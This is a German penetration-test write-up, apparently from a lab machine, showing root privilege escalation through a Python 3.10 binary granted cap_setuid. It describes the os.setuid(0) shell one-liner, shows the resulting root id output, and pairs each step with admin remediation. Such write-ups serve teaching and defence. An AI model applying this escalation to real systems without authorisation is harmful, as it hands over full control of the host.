Voraussetzungen:
Schritt-für-Schritt-Anleitung:
Analyse Schritt 1: Überprüfen der gesetzten Capabilities für die Python-Binärdatei.
Bewertung Schritt 1: Der Befehl `getcap` bestätigt, dass `/usr/bin/python3.10` die `cap_setuid=ep` Capability besitzt.
Empfehlung (Pentester): Dies bestätigt den Angriffsvektor.
Empfehlung (Admin): Erkennen und Entfernen unnötiger Capabilities ist entscheidend.
/usr/bin/python3.10 cap_setuid=ep
Analyse Schritt 2: Ausführen eines Python-Einzeilers, der das `os`-Modul importiert, `os.setuid(0)` aufruft, um die UID auf root zu setzen, und anschließend eine Shell (`/bin/sh`) startet.
Bewertung Schritt 2: Der Befehl wird erfolgreich ausgeführt. Die anschließende Überprüfung mit `id` zeigt `uid=0(root)`, was die erfolgreiche Privilegieneskalation bestätigt.
Empfehlung (Pentester): Der Exploit war erfolgreich. Sie haben nun Root-Zugriff.
Empfehlung (Admin): Entfernen Sie die `cap_setuid`-Capability von Python (`setcap -r /usr/bin/python3.10`).
uid=0(root) gid=1002(trainerjean) groups=1002(trainerjean)
Erwartetes Ergebnis: Erfolgreiche Erlangung einer interaktiven Shell mit root-Berechtigungen (UID=0).
Beweismittel: Die Ausgabe des `id`-Befehls (`uid=0(root)`) innerhalb der durch Python gestarteten Shell.
Risikobewertung: Hoch. Diese Fehlkonfiguration ermöglicht einem lokalen Benutzer die vollständige Übernahme des Systems.
Empfehlungen: Entfernen Sie die `cap_setuid`-Capability von `/usr/bin/python3.10` (`setcap -r /usr/bin/python3.10`). Überprüfen Sie regelmäßig die Capabilities aller Systemdateien und wenden Sie das Prinzip der geringsten Rechte an.